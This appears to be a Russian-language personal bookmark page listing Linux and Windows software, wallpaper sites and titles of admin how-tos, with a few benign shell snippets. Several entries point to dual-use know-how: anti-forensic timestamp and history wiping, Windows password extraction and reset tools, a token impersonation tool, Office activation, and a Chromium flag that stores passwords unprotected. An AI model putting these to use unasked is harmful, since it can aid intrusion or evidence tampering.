https://github.com/notandy/ympd

https://github.com/YaLiC/mpcwebshell
https://github.com/hyperblast/beefweb
https://github.com/swingmx/swingmusic
https://github.com/ampache/ampache

графика
nitrogen feh fim fbgrab
azpainter mtpaint lazpaint xnviewmp webp ristretto
gimp inkscape krita pinta


ИИ
https://github.com/aandrew-me/tgpt
https://github.com/dylanjcastillo/shell-genie
https://github.com/szczyglis-dev/py-gpt
https://github.com/LAION-AI/Open-Assistant

Кошельки
https://bitpay.com/
https://coin.space/bitcoin-wallet/
https://blockstream.com/green/
https://jaxx.io/downloads
https://mymonero.com/
https://samouraiwallet.com/download
https://www.bitcoinarmory.com/download/
https://atomicwallet.io/#download-block
https://bitcoincore.org/en/download/
https://bither.net/linux64/
https://electrum.org/#download
https://www.exodus.com/download/
https://github.com/dashpay/dash
https://www.coinomi.com/en/downloads/
https://gnosis-safe.io/
https://guarda.com/desktop/
https://www.mycrypto.com/
https://www.ledger.com/ledger-live/download
https://trezor.io/start/
https://ton.org/wallets

https://github.com/makevoid/paperbank

https://github.com/bluppfisk/coindicator

OSINT
https://github.com/cipher387/osint_stuff_tool_collection

советы и ссылки
Вместо бубна: огромная подборка инструментов сисадмина
Более чем 80 средств мониторинга системы Linux

изменение времени файлов, удаление истории посещения и команд в linux

записать на флешку, софт для записи, ошибки при установке
возня с флешкой

Как установить глобальное меню и HUD в Xubuntu 18.04

настройка Thunar
добавление поиска файлов в PCManFm

Пересобираем mc с поддержкой samba
Настройка xdg-open под свой файловый менеджер
как изменить браузер в Thunderbird
как изменить приложения по умолчанию в debian

Скринкастинг в Linux (FFmpeg)
примеры конвертации с помощью ffmpeg
Извлекаем звуковую дорожку из видео-файла
конвертирования музыкальной библиотеки
Конвертация видеоформатов .mts или .m2ts в avi
Конвертирование видео G2M3/G2M4
Конвертирование ID3-тэгов в mp3-файлах с кодировки windows-1251 (cp1251) в utf-8
Восстановление видео файлов
Как убрать шум с аудиозаписи

работа с кодировкой файлов
работа с кодировками

Как установить Multimedia Playing Server (MPD)
Эквалайзер для MPD

скриншоты в иксах и консоли, разрешение экрана в tty
рабочий стол в консоли
почта в консоли mutt и msmtp
youtube-dl 4k video
как скачать видео, которое передаётся как rtmp-поток
Как получить прямую ссылку на музыку из ВКонтакте?
Пользовательские настройки Bash
командная строка в стиле DOS
Разноцветные терминалы
русификация gtk1
Gtk-WARNING **: Загружаемый модуль тем не найден в > module_path: "pixmap"

оптимизация pdf

Подсветка в nano
Idle Highlighting Themes
IEP тема оформления
делаем vim удобным
VIM как IDE для разработки на Python
Sublime Text 3 и консоль python

Установка Microsoft Office 2010 на Linux
Как активировать Microsoft Office 2010 на Linux
Конвертируем документы в Ubuntu

Краткая памятка по работе с архиваторами из консоли в Linux
Как стереть перезаписываемый диск из командной строки
Как создать ISO образ в Linux


Как создавать диалоговые блоки в интерактивных shell скриптах

Переводите любой выбранный текст с помощью комбинации клавиш и оповещений
Послеустановочный скрипт для Ubuntu/Linux mint
свежий LibreOffice
установка flashplugin для chromium 32 bits в Debian 8 Jessie
список плагинов для chrome
сборки chromium
FirefoxPortable


Связка ключей в Google Chrome и Chromium
https://chromium.googlesource.com/chromium/src.git/+/HEAD/docs/linux_password_storage.md
https://linuxthebest.net/svyazka-klyuchey-v-google-chrome-i-chromium/
sudo nano /usr/share/applications/google-chrome.desktop
sudo nano /usr/share/applications/chromium-browser.desktop
или
sudo nano /usr/share/applications/chromium.desktop
Exec=chromium-browser --password-store=basic %U
вместо Exec=/usr/bin/chromium %U


Устанавливаем Viber в Ubuntu и ее форках
https://zalinux.ru/?p=2163 [обновлено в 2023]
Установите зависимости:



Скачайте установочный пакет:
wget https://download.cdn.viber.com/cdn/desktop/Linux/viber.deb

Установите пакет:
sudo dpkg -i viber.deb

устарело
https://linuxthebest.net/kak-vse-taki-ustanovit-viber-v-debian-gnu-linux-i-ubuntu/
sudo dpkg -i viber.deb
sudo apt install -f
Она должна была бы доустановить недостающие зависимости, но сейчас просто удалит криво установленый Viber, потому что он нам ни к чему.

Открываем терминал в каталоге с пакетом «viber.deb» и поочередно выполняем:
dpkg-deb -x viber.deb viber
dpkg-deb --control viber.deb viber/DEBIAN

ищем в долгом списке после слова «Depends:» libcurl3 и перепечатываем на libcurl4
внимание — очень важный шаг, без которого метод не сработает. Обязательно нужно удалить пустую строку в этом же файле. Она прячется в самом конце. сохраните документ и вернитесь обратно в терминал
dpkg -b viber viberlibcurl4.deb

Менеджер dpkg создаст пакет «vibercurl4.deb». Теперь его можно установить любым способом. Например, так:
sudo dpkg -i viberlibcurl4.deb


Очистка Debian или Ubuntu от файлов, оставшихся после удаления пакетов

apt-get и виндовые прокси ( NTLM-proxy, MS Proxy Server ISA ...)
работа в консоли через прокси (wget и тд)

Массовое переименование в консоли
Удаление файлов без возможности восстановления в Linux
Создание "неудаляемой" папки или файла в Linux
Шифрование разделов
Шифрование файлов
steghide - тайные послания, внедрить текст в рисунок
Временный swap

Debian 8 Jessie и 9 Stretch, напильник, рецепты
ubuntu 16.04 и напильник
Как установить deb-пакет в Arch Linux
обновление FreeBSD
UTF в консоли FreeBSD

Искусство командной строки
КОМАНДНАЯ СТРОКА. СПРАВОЧНИК АДМИНИСТРАТОРА
Соответствие команд MS DOS командам Linux
Искусство командной строки
Искусство программирования на языке сценариев командной оболочки

Памятка по управлению пакетами в Debian и Ubuntu
Yum, шпаргалка
Шпаргалка по управлению сервисами CentOS 7 с systemd
коротко об systemd
работа с сетевыми интерфейсами
установка сервера терминалов XRDP на Debian 9.
Установка xrdp на CentOS 7
Восстанавливаем свалившийся в busybox из-за ошибки initramfs Linux




виндовые софтинки
https://live.sysinternals.com/
https://technet.microsoft.com/ru-ru/sysinternals/pstools.aspx
https://technet.microsoft.com/ru-ru/sysinternals/processexplorer.aspx
https://download.sysinternals.com/files/ProcessExplorer.zip
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
https://technet.microsoft.com/ru-ru/sysinternals/
ExtPart.exe

http://www.nirsoft.net/utils/nircmd.html
Commando VM: Windows для хакеров
Утилиты NirSoft для извлечения информации из Windows
https://pogostick.net/~pnh/ntpasswd/
https://github.com/sensepost/impersonate (sudo)
Узнать ключ активации Windows

https://www.microsoft.com/ru-ru/store/apps
https://github.com/microsoft/winget-cli
https://appget.net/
https://appget.net/packages
Как Microsoft убила AppGet
https://chocolatey.org/

https://www.nliteos.com/
https://nsudo.m2team.org/ru-ru/Download.html
http://www.eusing.com/free_registry_cleaner/registry_cleaner.htm
https://geekuninstaller.com/ru/download
https://www.chuyu.me/en/index.html
http://www.steffengerlach.de/freeware/scn2.zip
https://virtuawin.sourceforge.io/
http://windowspager.sourceforge.net/
http://winlaunch.org/
https://ueli.app/#/
https://github.com/Open-Shell/Open-Shell-Menu
http://www.classicshell.net/

https://sourceforge.net/projects/myclip/
https://voidtools.com/ru-ru/
https://www.7-zip.org/
https://codecguide.com/
https://www.farmanager.com/
https://doublecmd.sourceforge.io/
http://www.dnosp.com/
https://conemu.github.io/
https://www.putty.org/
http://www.9bis.net/kitty/
https://www.autohotkey.com/
https://github.com/M2TeamArchived/NSudo

https://hdd.by/victoria.html
https://crystalmark.info/en/download/#CrystalDiskInfo

https://www.r-studio.com/ru/free-linux-recovery/
https://www.cgsecurity.org/wiki/TestDisk_Download
https://www.partitionwizard.com/download.html
http://www.pspad.com/ru/
https://notepad-plus-plus.org/
http://softvoile.com/flashnote/
https://www.sumatrapdfreader.org
https://mh-nexus.de/en/hxd/
http://www.winhex.com/winhex/
https://www.hex-rays.com/products/ida/support/download_freeware.shtml
http://nlcalc.narod.ru/
Process Killer

https://www.heidisql.com/download.php

Small CD Writer
https://www.exactaudiocopy.de/

https://www.getpaint.net/
https://www.xnview.com/en/xnviewmp/
https://www.faststone.org/FSViewerDetail.htm

https://mpc-hc.org/
https://codecguide.com/download_kl.htm
https://www.aimp.ru/
https://www.getmusicbee.com/
https://www.foobar2000.org/

http://links.twibright.com/download/binaries/win32/
JustCode
https://github.com/minbrowser/min/releases/
https://ftp.mozilla.org/pub/

https://keepassxc.org/download/#windows
https://www.veracrypt.fr/en/Downloads.html

TDSSKiller
https://ru.malwarebytes.com/adwcleaner/
http://z-oleg.com/secur/avz/download.php
https://free.drweb.ru/download+cureit+free/
https://www.anvir.net/

https://github.com/gorhill/uBlock/

RDP Wrapper Library by Stas'M
https://github.com/stascorp/rdpwrap/
https://web.archive.org/web/20200506092848/https://github.com/stascorp/rdpwrap
https://github.com/asmtron/rdpwrap/
https://gitlab.com/adam.lukaitis/rdpwrap
https://gitlab.com/artrojort/rdpwrap

https://lcc-win32.services.net/

https://cygwin.com/
https://msys2.github.io/
https://sourceforge.net/projects/mingw-w64/
https://gnuwin32.sourceforge.net/
https://unxutils.sourceforge.net/
https://win-bash.sourceforge.net/
https://frippery.org/busybox/
https://sourceforge.net/projects/busybox-for-windows/
https://github.com/bmatzelle/gow/

https://www.msys2.org/
http://www.mingw.org/
https://mingw-w64.org/doku.php
Установка MinGW/MSYS и настройка окружения для разработчика
Установка MinGW/MSYS и настройка окружения для разработчика часть 1
Установка MinGW/MSYS и настройка окружения для разработчика часть 2
Установка MinGW/MSYS и настройка окружения для разработчика часть 3

Установка Cygwin для Windows


https://prism-break.org/ru/categories/windows/
https://nsis.sourceforge.io/Main_Page

Log Parser
Log Parser Studio

доступ к Интернету и службе Центра обновления Windows в более ранних версиях Windows
https://legacyupdate.net/

софт для windows XP
https://github.com/zachflower/awesome-windows-xp

браузер на основе chromium для windows XP
https://win32subsystem.live/supermium/
https://github.com/win32ss/supermium


16ти разрядные под win 64
http://www.dosemu.org/
https://github.com/dosemu2/dosemu2
https://www.dosbox.com/
https://github.com/dosbox-staging/dosbox-staging

http://www.vdosplus.org/
http://vdosplus.org/files/vDosPlus-201511.zip
http://www.vdosplus.org/tips.htm?tip5
https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/dos/xkeyb/xkeyb/xkeyb19x.zip
распаковать в папку vDosPlus, добавить путь в файле vDosPlus\autoexec в параметре %PATH

C:\xkeyb19x;

также добавить туда диски и сетевые пути, типа

USE T: \\tsclient\tmp
USE F: C:\DOS\GAMES

https://sfwriter.com/ws-vdos.htm#fonts
скопировать шрифты consola или lucon из C:\Windows\Fonts в папку vDosPlus, затем вписать в файл vDosPlus\config эти строки

WP = WS
FONT = CONSOLA


https://github.com/otya128/winevdm
https://github.com/leecher1337/ntvdmx64
https://vdos.info/
http://takeda-toshiya.my.coocan.jp/msdos/


http://downloadarchive.documentfoundation.org/libreoffice/old/

Быстрый поиск драйверов на сайте Microsoft
Как сменить язык вода пароля при входе в систему windows
Сброс или изменение пароля Windows с помошью Linux
Как УЗНАТЬ пароль Windows?
Удаление неудаляемых веток реестра
Обход ограничений FAT32/NTFS
Создание символьной ссылки для папки в Windows 8.1, 8, 7, Vista
dd for windows

Список команд Windows ( Windows CMD )
оснастки командной строки windows
Консольные команды windows rundll32
Настройка командной строки Windows.
консольная подборка



macOS софтинки
http://www.macattorney.com/free.html

скины
https://skins.webamp.org/
https://archive.org/details/winampskins


обои
xsetroot -mod 15 15 -fg rgb:4/4/4 -bg rgb:1/1/1

просмотр и конвертация .webp
sudo apt-get install webp
for i in `find . -iname "*.webp"`; do dwebp $i -o $i.png; rm $i; done
find . -type f | sed 'p;s:.webp.:.:' | xargs -n2 mv

https://www.reddit.com/r/EarthPorn/
https://www.pling.com/browse?cat=295
https://www.nasa.gov/multimedia/imagegallery/index.html
https://www.astrobin.com/users/Wolfgang-Promper/
https://pxhere.com/
https://www.pinterest.ru/
https://www.deviantart.com/aeon-lux/gallery
https://www.deviantart.com/leohao73/gallery/all
https://www.artstation.com/grivetart
https://www.artstation.com/pao
https://www.eve-wallpaper.com/latest
https://www.perrikschelatphotography.com/browse
https://www.flickr.com/photos/113243238@N08/
https://www.flickr.com/photos/gregor_samsa/albums/72157712825456666
http://saitprofoto.rasfokus.ru/photos/best
https://fotografersha.livejournal.com/1147526.html
https://thanhphatbn.com/vi-ai-cung-can-desktop-an-tuong-moi-anh-em-tai-bo-suu-tap-hinh-nen-phong-cach-steampunk-cuc-chat
https://interfacelift.com/wallpaper/downloads/date/any/
http://nordtrails.com/galleries/
https://35photo.pro/korolevsergey/
https://35photo.pro/aleksey1965
https://35photo.pro/ryabkovvladimir/
https://www.drive2.ru/users/andreyenkin/
http://anpash.ru/
https://wallpapercave.com/denali-national-park-and-preserve-wallpapers
https://wallpapersafari.com/
https://www.peakpx.com/en/search?q=landscape
https://www.desktopbackground.org/
https://pibig.info/priroda/
https://kartinkin.net/pics/priroda/
https://ru.wallpapers-fenix.eu/
https://github.com/Minda1975/My-wallpapers/tree/master/Space
http://www.old-hard.ru/articles/old_windows_wallpapers_and_screensavers
https://packages.altlinux.org/ru/search?branch=p9&query=photo+wallpapers
http://git.altlinux.org/srpms/w/
https://github.com/LinuxKits/Distro-wallpapers/
https://www.wallpaperflare.com/
https://www.wallpaperbetter.com/en/hd-wallpaper-etfdz
https://www.wallpapertip.com/wpic/mTooox_debian-gnu-linux/

https://habr.com/ru/company/vdsina/blog/552536/
xsetroot -gray
convert -size 1920x1080 pattern:gray50 wallpaper.png

wget -O - -q reddit.com/r/EarthPorn.json | jq '.data.children[] |.data.url' | xargs feh
wget -O - -q reddit.com/r/earthporn.json | jq '.data.children[] |.data.url' | tail -1 | xargs feh --bg-fill
wget -O - -q reddit.com/r/earthporn.json | jq '.data.children[] |.data.url' | head -3 | tail -1 | xargs feh --bg-fill
exec $(wget -O - -q reddit.com/r/earthporn.json | jq '.data.children[] |.data.url' | head -3 | tail -1 | xargs feh --bg-scale)



site themes

Dec. 4th, 2011 05:52 pm



посмотреть
freedesktop.org


openDesktop.org :
Social Desktop

http://hive01.com/projects/

linux-apps.com Software and Apps for Linux
linux-games.org Games for Linux
app-addons.org Free Addons for your Applications
free-artwork.org Free Images, Paintings, Drawings, Cliparts
historical-look.org Eyecandy from the Past

KDE Store New applications for the KDE-Desktop
KDE-Apps.org Applications for the KDE-Desktop
GTK-Apps.org Applications using the GTK Toolkit
GnomeFiles.org Applications for GNOME
MeeGo-Central.org Applications for MeeGo
CLI-Apps.org Command Line Applications
Qt-Apps.org Free Qt Applications

Qt-Prop.org Proprietary Qt Applications
Maemo-Apps.org Applications for the Maemo Plattform
Java-Apps.org Free Java Applications
eyeOS-Apps.org Free eyeOS Applications
Wine-Apps.org Wine Applications

Server-Apps.org Server Applications
apps.ownCloud.com ownCloud Applications

KDE Store New applications for the KDE-Desktop
KDE-Look.org Artwork for the KDE-Desktop
GNOME-Look.org Artwork for the GNOME-Desktop
mate-look.org Eyecandy for your Mate Desktop
cinnamon-look.org Eyecandy for your Cinnamon Desktop
Xfce-Look.org Artwork for the Xfce-Desktop
Box-Look.org Artwork for your Windowmanager
Everything for your Enlightenment Desktop
E17-Stuff.org Artwork for Enlightenment E-17
e16 Theme Previews
Window Maker Themes
Fluxbox themes 1
Fluxbox themes 2

Beryl-Themes.org Artwork for the Beryl Windowmanager
Compiz-Themes.org Artwork for the Compiz Windowmanager
EDE-Look.org Themes for your EDE Desktop

Debian-Art.org Stuff for Debian
Gentoo-Art.org Artwork for Gentoo Linux
SUSE-Art.org Artwork for openSUSE
Ubuntu-Art.org Artwork for Ubuntu
Kubuntu-Art.org Artwork for Kubuntu
LinuxMint-Art.org Artwork for Linux Mint
Arch-Stuff.org Art And Stuff for Arch Linux
Frugalware-Art.org Themes for Frugalware
Fedora-Art.org Artwork for Fedora Linux
Mandriva-Art.org Artwork for Mandriva Linux

KDE-Files.org Files for KDE Applications
OpenTemplate.org Documents for OpenOffice.org
GIMPStuff.org Files for GIMP
InkscapeStuff.org Files for Inkscape
ScribusStuff.org Files for Scribus
BlenderStuff.org Textures and Objects for Blender
VLC-Addons.org Themes and Extensions for VLC

KDE-Help.org Support for your KDE Desktop
GNOME-Help.org Support for your GNOME Desktop
Xfce-Help.org Support for your Xfce Desktop

GNOME Shell Extensions дополнения для GNOME Shell

openDesktop.org:    LinuxDaily.com    Linux42.org    OpenSkillz.com    Open-PC.com

Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Jan. 22nd, 2026 07:30 pm
Powered by Dreamwidth Studios